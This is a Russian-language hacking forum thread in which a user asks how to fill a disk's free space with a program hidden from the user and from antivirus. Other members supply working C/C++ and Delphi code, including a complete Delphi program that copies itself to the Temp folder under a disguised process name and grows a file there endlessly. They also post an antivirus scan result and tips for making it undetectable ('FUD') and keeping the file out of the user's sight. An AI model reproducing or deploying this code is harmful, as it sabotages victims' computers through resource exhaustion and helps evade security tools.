Программа для забивания пустого места на диске

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Lamero'k, 26 Mar 2014.

  1. Lamero'k

    Lamero'k New Member

    Joined:
    12 Mar 2014
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Ну, суть понятна. Хотел такое написать на делфи, но информации почти не нашел. Думаю, можно как нибудь сделать это моими знаниями новичка, но это же не разумно. В общем, подскажите как это сделать, что почитать. Буду благодарен. Получается, нужно чтобы прога высчитывала сколько пустого места на диске и забила его нулями, пока пустого места не останется. Заранее спасибо)
     
  2. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    запись в файл в бесконечном цикле :D
     
  3. Lamero'k

    Lamero'k New Member

    Joined:
    12 Mar 2014
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Ну, это можно конечно, но я хотел бы немного точности, то есть чтобы она еще и вычислял объем свободного места. + хотелось бы сделать ее невидимой для пользователя и желательно для антивируса. Хотя это наверное слишком много будет для моего то уровня) Хотя надо же учиться. Подскажите тогда как ее скрыть
     
    #3 Lamero'k, 26 Mar 2014
    Last edited: 26 Mar 2014
  4. Zroot

    Zroot Member

    Joined:
    7 Jan 2009
    Messages:
    8
    Likes Received:
    17
    Reputations:
    0
    Котятки в помощь http://www.iguides.ru/forum/showthread.php?t=81327
     
  5. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Узнаешь размер сектора диска. GetDiskFreeSpace
    Выделяешь буфер VirtualAlloc
    Открываешь файл CreateFile
    { n - раз
    RtlGenRandom
    Записываешь в файл WriteFile }
    Закрываешь файл. CloseHandle
    Освобождаешь буфер VirtualFree

    цикл можешь сделать for(;;)
     
    _________________________
  6. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    1. Открываешь MFT
    2. Помечаешь все оставшиеся сектора, как занятые
    3. ..
    4. profit
     
    _________________________
  7. Nu11ers3t

    Nu11ers3t Member

    Joined:
    1 Aug 2013
    Messages:
    38
    Likes Received:
    25
    Reputations:
    19
    Тебе уже ответили, но мне больше нравится запись в файл в бесконечном цикле, как предложил DooD, поэтому вот чуть больше инфы:

    Код на C/C++, извини, к тому же, тут еще жрет оперативку через HeapAlloc.


    Code:
    #include <windows.h>
    
    DWORD memory_size = 0;
    
    void IncreaseFileSize(LPCTSTR FileName, int size, int value)
      {
        char buf[size];
        int i;
        for (i = 0; i <= size; i++) buf[i] = value; 
        HANDLE hFile = CreateFile(FileName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        SetFilePointer(hFile, 0, NULL, FILE_END);
        DWORD dwWrite = 0;
        WriteFile(hFile,buf, size, &dwWrite, NULL);
        CloseHandle(hFile);
      }
    
    int main()
      {
        int value = 0x0;
        HANDLE heap = HeapCreate(0x00040000, 0, 0);
        if (heap != 0) 
          {
            for(;;)
            {
              HeapAlloc(heap, HEAP_ZERO_MEMORY, memory_size);
              IncreaseFileSize("BOMJATNIK.bomj", 1024, value);
              if (value <= 0xFF) value = 0x0; else value++;
            }
          }
        Sleep(10000);
        return 0;
      }
    
    
    Но, так как используются функции WinApi это переделать под Delphi можно за пару минут.

    Главное алгоритм:

    1) Открываем файл
    2) Ставим указатель на конец файла
    3) Пишем какое-то количество байт
    4) закрываем
    5) Повторяем все с действия 1 до бесконечности
    6) Как память забьется - софт вылетает с ошибкой, а файл остается.



    Тебе именно интересна функция:

    Code:
    void IncreaseFileSize(LPCTSTR FileName, int size, int value)
      {
        char buf[size];
        int i;
        for (i = 0; i <= size; i++) buf[i] = value; 
        HANDLE hFile = CreateFile(FileName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        SetFilePointer(hFile, 0, NULL, FILE_END);
        DWORD dwWrite = 0;
        WriteFile(hFile,buf, size, &dwWrite, NULL);
        CloseHandle(hFile);
      }
    
    Если быстро переписать под Delphi, то будет что-то вроде такого:

    Code:
    procedure IncreaseFileSize(FileName:PChar; value:integer);
      var
      i:integer;
      buf:array[0..1023] of integer;
      hFile, dwWrite:cardinal;
    begin
    for i := 0 to 1024 do buf[i] := value;
    hFile := CreateFile(FileName, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    SetFilePointer(hFile, 0, 0, FILE_END);
    WriteFile(hFile, buf, sizeof(buf), dwWrite, 0);
    CloseHandle(hFile); 
    end;
    
    Кажется, что так.

    Вызов такой:

    Code:
    IncreaseFileSize(PChar('bomj.bomj'), $FF);
    
    Повысит размер файла bomj.bomj на 4 КБ, дописав к нему 1024 значения 0FFh

    Запихивай это в цикл, в такое количество итераций, на которое тебе нужно увеличить размер файла в КБ, можешь в бесконечный цикл.

    АВ обязаны не палить такое, поэтому все норм.

    Создавай файл в неприметном месте, а то постоянно увеличивающийся файл в размере bomj.bomj на глазах у юзера точно вызовит панику.

    P.S. Не забудь в uses дописать модуль Windows
     
    #7 Nu11ers3t, 3 Apr 2014
    Last edited: 3 Apr 2014
  8. Nu11ers3t

    Nu11ers3t Member

    Joined:
    1 Aug 2013
    Messages:
    38
    Likes Received:
    25
    Reputations:
    19
    Сразу скажу: сорри за дабл постинг, ачат лагал, не мог сообщение отредактить почему-то.


    От нефиг делать накодил то, что предлагал DooD:

    Code:
    program Project2;
    
    uses
      Windows,
      ShellApi;
    
    procedure IncreaseFileSize(FileName:PChar; value:integer);
      var
        i:integer;
        buf:array[0..1023] of integer;
        hFile, dwWrite:cardinal;
    begin
      for i := 0 to 1024 do buf[i] := value;
      hFile := CreateFile(FileName, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      SetFilePointer(hFile, 0, 0, FILE_END);
      WriteFile(hFile, buf, sizeof(buf), dwWrite, 0);
      CloseHandle(hFile); 
    end;
    
    var
      TempPath, SelfPath:array[0..MAX_PATH] of char;
    
    begin
    GetTempPath(sizeof(TempPath), TempPath);
    GetModuleFIleName(0, SelfPath, sizeof(SelfPath));
    if (pos('mmreahost.exe', SelfPath) <> 0) then
      begin
        while (true) do
          IncreaseFileSize(PChar(TempPath + 'bomj.bomj'), 0);
      end
        else
        begin
          CopyFile(SelfPath, PChar(TempPath + '\mmreahost.exe'), false);
          ShellExecute(0, 'open', 'mmreahost.exe', 0, TempPath, SW_SHOW);
          ExitProcess(0);
        end;
    end.
    

    Кидаешь это в консольное приложение ( Console Application ), я ведь, надеюсь, что ты умеешь создавать консольные приложения? ( Если не умеешь то перейди в конец поста, там я написал. ) .Вот сотри там все и скопируй этот код. Компилируй.

    Будет без окон, как открываешь происходит следующее:

    1) Проверка, запущен ли из под имени mmreahost.exe
    2) Если запущен из под имени mmreahost.exe, то идет создание в папки Temp бесконечно нарастающего файла bomj.bomj ( через 10 секунду размер был 300 МБ, а что будет через час ?=))
    3) Если не запущен из под имени mmreahost.exe, то происходит копирование в папку Temp с именем mmreahost.exe и запуск этого mmreahost.exe, далее выход из процесса и mmreahost.exe начинает выполнять второй пункт.

    P.S. Размер файла 16 КБ.


    А вот и само палево антивирусами:

    Название файла: Project2.exe
    Размер файла: 15872 байт
    Дата сканирования: Thu, 03 Apr 14 14:43:36 -0400
    MD5-хэш файла: 55273249689976c56dde6adcfe37e28b

    Результат: 8 из 36

    Ad-Aware: OK
    AhnLab V3 Internet Security: OK
    ArcaVir: Gen:Trojan.Heur.DP.aGW@a0LcUoc
    Avast: OK
    AVG: OK
    Avira: OK
    Bitdefender/BullGuard: OK
    BullGuard Internet Security 2013: Gen:Trojan.Heur.DP.aGW@a0LcUoc
    Comodo: TrojWare.Win32.TrojanDownloader.Banload.AIA0@107156615
    Dr.Web: OK
    Emsisoft Anti-Malware (a-squared Anti-Malware): Gen:Trojan.Heur.DP.aGW@a0LcUoc (B)
    eScan Internet Security Suite 14: OK
    Fortinet 5: OK
    F-Prot: W32/Delf.AY.gen!Eldorado
    F-Secure 2014: OK
    G Data: Malware detected
    IKARUS: OK
    Immunet/ClamAV: Gen:Trojan.Heur.DP.aGW@a0LcUoc
    K7 Ultimate: Riskware ( 9a8ea8d00 )
    Kaspersky Internet Security 2014: OK
    McAfee Total Protection 2013: OK
    Microsoft Security Essentials: OK
    NANO: OK
    NOD32: OK
    Norman: OK
    Norton Internet Security: OK
    Outpost Security Suite Pro 8.0: OK
    Quick Heal: OK
    Sophos: OK
    SUPERAntiSpyware: OK
    Total Defense Internet Security: OK
    Trendmicro Titanium Internet Security: OK
    Twister Antivirus 8: OK
    VBA: OK
    VIPRE Internet Security 2013: OK
    Virit: OK

    Scan report generated by Scanner.FuckAV.ru


    Такое палево, из-за копирование в Temp и запуск от туда, поэтому если нужен FUD убери это, но тут и убрать легче будет.

    P.S. Тут без авторана.


    Создание консольного приложения по шагам, для нубов:

    File > New > Other > Console Application

    Бинго! Если затереть {$APPTYPE CONSOLE}, то консоль создаваться не будет.
     
    #8 Nu11ers3t, 3 Apr 2014
    Last edited: 3 Apr 2014
Loading...
Similar Threads - Программа забивания пустого
  1. Peja
    Replies:
    0
    Views:
    2,532